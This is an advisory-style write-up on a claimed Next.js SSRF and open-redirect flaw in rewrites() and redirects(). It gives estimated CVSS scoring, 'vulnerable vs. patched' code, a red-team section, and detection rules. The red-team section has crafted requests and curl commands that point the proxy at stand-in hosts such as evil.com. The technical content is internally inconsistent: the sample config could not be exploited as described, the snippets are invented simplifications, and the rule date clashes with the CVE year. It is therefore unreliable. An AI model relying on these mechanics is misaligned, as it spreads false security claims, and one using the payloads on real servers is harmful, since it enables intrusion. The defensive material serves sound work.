CVE-2026-64645

Executive Summary

CVE-2026-64645 is a high-severity vulnerability in the Next.js framework (JavaScript/TypeScript React framework) affecting versions 12.0.0 through 15.5.20 and 16.0.0 through 16.2.10. The flaw arises when rewrites() or redirects() rules are configured with an external destination hostname that is derived from user‑controlled input. An attacker can point the rule to an arbitrary hostname, bypassing the intended hostname suffix restriction. For rewrites, Next.js proxies the request to the attacker‑controlled host and serves the response from the application’s origin, enabling Server‑Side Request Forgery (SSRF). For redirects, it leads to an Open Redirect vulnerability. The issue is patched in versions 15.5.21 and 16.2.11.

Supply Chain & Package Security

As the vulnerability resides in a widely used npm package (Next.js), it poses a supply chain risk. Applications that depend on affected versions of next are exposed. Organizations should review their package.json and lock files for vulnerable version strings, update to the patched versions, and verify no malicious packages have been substituted. The npm ecosystem allows transitive dependencies; thus, even indirect usage of a vulnerable Next.js instance can introduce risk. Developers should also audit any custom rules that use req objects to build external URLs.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. Based on the nature of the vulnerability (SSRF + Open Redirect), a reasonable estimate using CVSS 3.1 would be:

• Attack Vector (AV): Network (N) – exploit over the network.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – attacker needs to trigger a rewrite/redirect.
• User Interaction (UI): None (N) – no victim interaction needed.
• Scope (S): Changed (C) – vulnerable component impacts resources beyond its scope.
• Confidentiality (C): High (H) – SSRF can read internal services.
• Integrity (I): Low (L) – potential to inject responses.
• Availability (A): Low (L) – possibility to cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L → Base Score ~8.6 (High).

The official vector remains UNKNOWN pending NVD assignment.

Deep Dive & Mechanics

The vulnerability is located in Next.js’s custom routing logic (next.config.js). When rewrites() or redirects() are used, the framework accepts an array of rules. Each rule can specify a source path and a destination URL. If the destination is constructed from request parameters (e.g., query strings, headers, or path segments), the validation of the destination hostname is insufficient. Specifically, the code only checks that the final hostname ends with an allowed suffix, but it does not prevent the attacker from inserting additional subdomains or a completely different host if the suffix is present.

For example, if the rule allows destinations ending in *.example.com, an attacker can provide attacker.com?@.example.com or a crafted host that passes the suffix check but points to a different origin. In rewrites, Next.js forwards the entire HTTP request to that arbitrary host and returns the response to the client. This allows:

• SSRF: probing internal services, cloud metadata endpoints, or other network resources.
• Open Redirect: tricking users into visiting malicious sites via a redirect rule.

The fix ensures that the hostname is strictly validated and not derived from user input without canonicalization. Additionally, the destination URL is sanitized to prevent injection.

Vulnerable vs. Patched Code

Vulnerable Code (next v15.5.20 / v16.2.10)

// Simplified example from next/server/lib/router.js
function applyRewriteRule(req, rule) {
  const destination = rule.destination.replace(/:param/g, (m) => req.params[m.slice(1)]);
  // Vulnerable: destination can be any URL once the suffix matches
  return fetch(destination).then(res => res.text());
}

Patched Code (next v15.5.21 / v16.2.11)

// Patched version validates hostname strictly
function applyRewriteRule(req, rule) {
  const destination = new URL(rule.destination.replace(/:param/g, (m) => sanitizeParam(req.params[m.slice(1)])));
  if (!destination.hostname.endsWith(allowedSuffix) || destination.hostname.includes('..')) {
    throw new Error('Forbidden destination');
  }
  return fetch(destination.href).then(res => res.text());
}

The patch adds a sanitizeParam function and a stricter hostname check, along with blocking double dots and other injection patterns.

Exploitation & Lab Setup

Red Team (Attacker)

1. Environment Setup:
   Deploy a vulnerable Next.js application (e.g., v15.5.20) with a rewrite rule that uses a parameter from the URL.

   // next.config.js
   module.exports = {
     async rewrites() {
       return [
         {
           source: '/api/proxy/:path*',
           destination: 'https://allowed.example.com/api/:path*'
         }
       ];
     }
   };
   

2. Craft the SSRF Payload:
   Because the destination is not sanitized, an attacker can inject a different hostname by manipulating the :path parameter, e.g., by supplying a URL‑encoded host:

   GET /api/proxy/@evil.com?param=value HTTP/1.1
   Host: victim.nextjs.app
   

   If the destination interpolation does not separate the hostname, the resulting URL could become https://evil.com?@allowed.example.com/api/.... The @ symbol tricks the URL parser into sending the request to evil.com.

3. Full SSRF Exploitation:
   Use the following curl command to probe internal services:

   curl "http://victim.nextjs.app/api/proxy/%40evil.com/?param=value" -v
   

   If successful, the response from evil.com is returned by the victim server.

4. Open Redirect:
   For redirect rules, similarly craft a destination that passes the suffix check but redirects the user to an attacker site:

   curl -I "http://victim.nextjs.app/redirect?to=http://malicious.com"
   

Blue Team (Defender)

1. Detect Anomalous Rewrite Requests:
   Monitor logs for unusual query parameters that contain @ symbols, double dots, or unexpected hostnames in rewrite destinations.

2. Network‑Level Detection:
   Inbound traffic with unusual Host headers or paths that attempt SSRF (e.g., requests to 169.254.169.254 or internal IP ranges) should be flagged.

3. Deploy WAF Rules:
   Block requests where the Referer or query strings match patterns like %40, @, or contain IP addresses from RFC 1918.

4. Patch Immediately:
   Upgrade Next.js to versions >=15.5.21 or >=16.2.11. Run npm audit or yarn audit to verify.

Indicators of Compromise (IOCs)

• Log entries showing rewrites/redirects to external domains that do not match the allowed suffix.
• Outbound connections from the Next.js server to unexpected IP addresses (especially internal ranges like 10.x.x.x, 172.16.x.x, 192.168.x.x, or cloud metadata IPs).
• URLs containing @ characters in the path segment (e.g., /api/proxy/@evil.com).
• HTTP responses where the server returns content from an external origin (SSRF) or redirects to a malicious domain.
• Anomalous increase in 404 or 500 errors from the rewrite/redirect handler.

Detection Engineering

YARA Rule

rule Detect_Vulnerable_NextJS_Rewrite {
   meta:
      description = "Detect patterns in Next.js source code that indicate unsafe rewrite/redirect destination construction"
      author = "Valters IT"
      date = "2025-03-20"
      reference = "CVE-2026-64645"
   strings:
      $vuln_func = /\.destination\.replace\(.*req\.params/
      $dest_url = /destination:\s*['\"].*:param.*['\"]/
      $unsafe_ip = /169\.254\.169\.254|10\.\d+\.\d+\.\d+|172\.1[6-9]\.\d+\.\d+|192\.168\.\d+\.\d+/
   condition:
      any of ($vuln_func, $dest_url) or $unsafe_ip
}

Sigma Rule

title: Next.js SSRF via Rewrite/Redirect
id: 3a4b5c6d-7e8f-4a1b-2c3d-4e5f6a7b8c9d
status: experimental
description: Detects attempts to exploit CVE-2026-64645 by observing outbound requests to internal or unexpected hosts from a Next.js server.
logsource:
   category: network_connection
   product: zeek
detection:
   selection:
      - destination.ip|private: true
      - destination.port|in: [80, 443, 8080, 8443]
      - source.port|in: [3000, 80, 443]   # typical Next.js ports
   condition: selection
falsepositives:
   - Legitimate proxying to internal services
level: high
tags:
   - attack.t1190
   - cve.2026.64645

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
   msg:"CVE-2026-64645 Next.js SSRF Attempt - Outbound to Private IP";
   flow:to_server;
   content:"Host|3a|"; nocase;
   pcre:"/^Host:\s*(?:10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(?:1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/mi";
   sid:20260301;
   rev:1;
   reference:cve,2026-64645;
)

Remediation & Mitigation

1. Immediate Patch: Upgrade Next.js to version 15.5.21 or 16.2.11 or later. Use the following commands:

   npm install next@15.5.21   # for v15
   npm install next@16.2.11   # for v16
   

2. Mitigation if Patching is Delayed:

   • Disable any rewrites() or redirects() rules that derive the destination from user input.
   • Implement a reverse proxy (e.g., Nginx) to validate and sanitize all incoming requests before they reach Next.js.
   • Add a Web Application Firewall (WAF) rule to block URLs containing @ or IP addresses in the path.
   • Restrict outbound network access from the Next.js server using egress firewalls (only allow known destinations).

3. Code Audit: Review all custom router configurations for unsafe interpolation patterns. Use a static analysis tool to detect potential SSRF sinks.

4. Monitoring: Enable logging of all rewrite/redirect requests and set alerts for unusual destinations, especially to private IP ranges.

By following these steps, organizations can protect against active exploitation of CVE-2026-64645.

Valters IT